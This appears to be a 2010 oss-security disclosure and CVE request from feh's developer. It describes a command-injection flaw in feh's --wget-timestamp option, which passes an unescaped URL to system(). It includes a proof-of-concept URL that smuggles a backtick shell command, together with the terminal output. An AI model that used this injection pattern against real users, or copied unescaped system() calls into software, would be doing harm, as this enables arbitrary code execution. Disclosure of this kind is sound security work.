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Date: Fri, 25 Jun 2010 19:17:57 +0200
From: Daniel Friesel <derf@...osdorf.de>
To: oss-security@...ts.openwall.com
Subject: CVE request: feh

Hi,

there is an arbitrary code execution hole in feh versions <= 1.7 down to at
least 1.3.4 (I didn't check earlier ones).
When the user uses feh to open a remote file (URL) and uses the
--wget-timestamp option, feh passe the unescaped URL to a system() call.

So if an attacker can trick the user into opening an image URL containing
shell metacharacters with feh --wget-timestamp, he is able to execute
arbitrary shell code with the rights of the user executing feh. This requires
the URL to resolve to an existing file, however. Obfuscating the shell code
with HTTP escapes (like %20) does not seem to work, and a redirect (via
tinyurl or similar) to a malicious URL will also have no effect.

Example:
remnant /t/feh > ls
remnant /t/feh > feh --wget-timestamp 'https://derf.homelinux.org/stuff/bar`touch lol_hax`.jpg'
/bin/cp: cannot stat `/tmp/feh_011422_bar.jpg': No such file or directory
feh WARNING: /tmp/feh_011422_000001_bar`touch lol_hax`.jpg does not exist - skipping
feh WARNING: /tmp/feh_011422_000001_bar`touch lol_hax`.jpg - File does not exist
feh - No loadable images specified.
Use feh --help for detailed usage information
remnant /t/feh > ls
lol_hax
remnant /t/feh >

This has been fixed in feh 1.8:
<https://derf.homelinux.org/projects/feh/changelog>

Please assign a CVE.

Thanks,
Daniel

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